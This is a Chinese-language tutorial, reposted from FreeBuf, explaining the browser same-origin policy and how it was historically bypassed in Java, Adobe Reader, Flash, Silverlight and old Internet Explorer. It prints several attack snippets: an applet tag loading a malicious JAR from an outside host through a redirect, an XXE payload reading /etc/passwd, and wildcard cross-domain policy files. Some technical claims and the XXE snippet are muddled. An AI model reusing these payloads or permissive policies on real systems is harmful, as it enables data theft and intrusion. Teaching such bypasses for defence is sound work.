瀏覽器有一個很重要的概念——同源策略(Same-Origin Policy)。所謂同源是指，域名，協議，端口相同。不同源的客戶端腳本(javascript、ActionScript)在沒明確授權的情況下，不能讀寫對方的資源。

簡單的來說，瀏覽器允許包含在頁面A的腳本訪問第二個頁面B的數據資源，這一切是建立在A和B頁面是同源的基礎上。

同源策略是由Netscape提出的一個著名的安全策略，現在所有支持JavaScript 的瀏覽器都會使用這個策略。
實際上，這種策略只是一個規范，并不是強制要求，各大廠商的瀏覽器只是針對同源策略的一種實現。它是瀏覽器最核心也最基本的安全功能，如果缺少了同源策略，則瀏覽器的正常功能可能都會受到影響。

如果Web世界沒有同源策略，當你登錄FreeBuf賬號并打開另一個站點時，這個站點上的JavaScript可以跨域讀取你的FreeBuf賬號數據，這樣整個Web世界就無隱私可言了。

情景設想

將一個學校內的學生看作不同源的個體。雖然一個班級里面有許多學生，但是他們都是互不相關的個體。學生家長請求老師提供同學們的學習成績報告，老師會告訴家長，你只能夠查看自家孩子的學習成績報告。

同理，學校收到請求要對一個學生的學習成績進行評價，那么在出具評價報告之前，學校需要對請求者的身份進行確認。

這就是與瀏覽器密切相關的同源策略

繼續假設，學校允許任何人不經過身份確認查看學生的學習成績報告，這就和瀏覽器沒有同源策略一樣。
同源策略機制為現代廣泛依賴于cookie維護用戶會話的Web瀏覽器定義了一個特殊的功能，嚴格隔離不相關的網站提供的內容，防止客戶端數據機密性或完整性丟失。

同源策略重要嗎？

假設你已經成功登錄Gmail服務器，同時在同一個瀏覽器訪問惡意站點（另一個瀏覽器選項卡）。沒有同源策略，攻擊者可以通過JavaScript獲取你的郵件以及其他敏感信息，比如說閱讀你的私密郵件，發送虛假郵件，看你的聊天記錄等等。

將Gmail替換為你的銀行帳戶，問題就大條了。

SOP和DOM：同源策略與文檔對象模型

當我們談論如何使用JavaScript訪問DOM時，我們考慮了URL的三個要素（主機名 + 訪問協議 + 端口號）
如果不止一個站點擁有相同的主機名、訪問協議、端口號，那么他是能夠成功訪問到DOM的。然而，IE僅僅只是驗證主機名以及訪問協議，忽略了端口號。

在大多數情況下，多個站點可能在同一根域（獲取源頁面的DOM）。

例如，cart.httpsecure.org需要訪問login.httpsecure.org來進行身份驗證。在這種情況下，網站可以使用document.domain屬性允許相同域下的其他站點進行DOM交互。如果你允許cart.httpsecure.org與login.httpsecure.org進行交互，開發者需要在兩個站點的根域設置document.domain屬性。

document.domain = “httpsecure.org”

這表示在當前頁面，httpsecure.org下的任何站點都可以訪問DOM資源。當你這樣設置后，你應該時刻保持警惕！比如說你部署在網絡上的另一個站點about.httpsecure.org，假設這個站點存在漏洞，那么cart.httpsecure.org這個站點也可能存在漏洞并且可以訪問這個源。

如果攻擊者能夠上傳一些惡意代碼，那么about.httpsecure.org也會獲得訪問其他站點的權限。

SOP和CORS：同源策略與跨源資源共享

跨源資源共享（CORS）是一種允許多種資源（圖片，Css，字體，JavaScript等）在一個web頁面請求域之外的另一個域的資源的機制。

使用XMLHttpRequest對象發起HTTP請求就必須遵守同源策略。具體而言，Web應用程序能且只能使用XMLHttpRequest對象向其加載的源域名發起HTTP請求，而不能向任何其它域名發起請求。跨源資源共享這種機制讓Web應用服務器能支持跨站訪問控制，從而使得安全地進行跨站數據傳輸成為可能。

如果httpsecure.org源返回下面的響應頭，所有httpsecure.org的子域與根域就打開了一個雙向的通信通道:

Access-Control-Allow-Origin: *.Httpsecure.org
Access-Control-Allow-Methods: OPTIONS, GET, POST, HEAD, PUT
Access-Control-Allow-Headers: X-custom
Access-Control-Allow-Credentials: true

在上面的響應頭中，第一行定義了雙向通信通道，第二行定義了請求可以使用OPTIONS, GET, POST, PUT, HEAD中的任何方式，第三行則是定義的響應頭，最后一行允許經過身份驗證的資源進行通信。

SOP與plugins：同源策略與插件

注釋：如果在httpsecure.org:80安裝插件，那么只能允許插件訪問httpsecure.org:80

由于不同的繞過方法，在Java，Adobe Reader，Flash，Silverlight中實現同源策略是十分痛苦的。大多數瀏覽器都使用他們自己的方式實現同源策略，如果處在同一個IP地址，一些Java版本會認為兩個不同的域名應用同一個同源策略。這對于虛擬主機環境（多個域名使用同一個IP）來說可能是一個毀滅性的災難。

談論Flash player以及PDF reader插件，他們都有一個悠久的漏洞歷史。這些漏洞大多數都是允許攻擊者遠程執行任意代碼，這遠比同源策略繞過更可怕！

在Flash中，你可以通過crossdomain.xml管理跨源通信，該文件一般在根目錄下

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type"/>
<allow-access-from domain="*.httpsecure.org" />
</cross-domain-policy>

使用這段代碼的httpsecure.org子域可以實現站點的雙向通信，Crossdomain.xml還支持Java以及JavaScript插件。

SOP與UI redressing：同源策略與界面偽裝

點擊劫持（clickjacking）是一種在網頁中將惡意代碼等隱藏在看似無害的內容（如按鈕）之下，并誘使用戶點擊的手段。該術語最早由雷米亞·格羅斯曼（Jeremiah Grossman）與羅伯特·漢森（Robert Hansen）于2008年提出。這種行為又被稱為界面偽裝（UI redressing）。對于攻擊者同源策略繞過，方法各有不同。事實上一部分攻擊還是利用同源策略沒有執行。

Java同源策略繞過

在Java1.7u17版本和1.6u45版本中，如果兩個主機名解析到同一個IP地址，那么就不會執行同源策略（Httpsecure.org和 httpssecure.com解析到同一個IP地址）。Java applet（是一種在Web環境下，運行于客戶端的Java程序組件，每個Applet的功能都比較單一）可以解決跨院請求和讀取響應信息。

在Java6和Java7版本，如果兩個主機名解析到同一個IP地址，那么會被認定為兩個主機是相同的。

在Java同源策略中實現這種類型的漏洞，那會十分恐怖。特別是對于虛擬主機（多個域名解析到同一個IP地址）來說，那將是毀滅性的災難。

最重要的是，通過applet使用BufferedReader和InputStreamReader對象考慮有關的權限需要。在Java1.6不需要運行applet實現用戶交互，在1.7版本就不同了。現在用戶必須使用點擊播放特性(click to play feature)運行有簽名和沒有簽名的applet，這個特性可以使用IMMUNITY來繞過并且導致了后來的CVE-2011-3546（在Java中同源策略繞過）。類似的在Adobe reader也發現了同源策略繞過。

<applet
code="malicious.class"
archive="http://httpsecure.org?redirect_to=

http://securityhacking123.com/malicious.jar"

width="100" height="100">
</applet>

Adobe Reader同源策略繞過

Adobe Reader在瀏覽器插件中存在許多的安全問題，其大部分漏洞都是由于溢出問題導致的任意代碼執行漏洞。在Adobe Reader PDF中可以使用JavaScript，正是這個原因，所以有很多惡意軟件將代碼隱藏在PDF文件之中。

CVE-2013-0622通過未明向量，遠程攻擊者利用該漏洞繞過預期的訪問限制。

如果我們談論到XXE Injection，這涉及到試圖注入惡意負載到請求中，輸入如下：

<!DOCTYPE bar >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "/etc/passwd" >]><bar>&xxe;</bar>

&XXE的值取而代之的是/etc/passwd，這項技術可以被用到同源策略繞過，它會加載XE并且服務器會返回一個302重定向響應。

Adobe Flash同源策略繞過

Adobe Flash使用crossdomain.xml文件控制Flash接收數據。我們可以在該文件中添加限制，只信任添加在內的站點。

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type"/>
<allow-access-from domain="*" />
</cross-domain-policy>

通過設置allow-access-from屬性的域，您可以允許訪問來自任何域的文檔。

Silverlight同源策略繞過

Silverlight是微軟推出的一款插件，其與Flash使用相同的同源策略。然而，其使用的clientaccess-policy.xml代碼如下所示：

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>

請記住Silverlight與Flash是不同的，如Silverlight沒有隔離基于協議和端口的不同源的訪問，而Flash就會隔離。所以在Silverlight中https://Httpsecure.org 和 http://Httpsecure.org 會被認為是同源。

Internet Explorer同源策略繞過

Internet Explorer8以及前面的版本很容易通過document.domain實現同源策略繞過，通過重寫文檔對象，域屬性這個問題可以十分輕松的被利用。

var document;
document = {};
document.domain = ‘httpsecure.org';
alert(document.domain);

如果你在最新的瀏覽器中運行這段代碼，可能在JavaScript控制臺會顯示一個同源策略繞過錯誤。

參考文獻

http://en.wikipedia.org/wiki/Same-origin_policy

http://en.wikipedia.org/wiki/Cross-origin_resource_sharing

http://en.wikipedia.org/wiki/Clickjacking

https://browserhacker.com/

轉自：http://www.freebuf.com/articles/web/65468.html

總結

以上是生活随笔為你收集整理的同源策略详解及绕过[转]的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。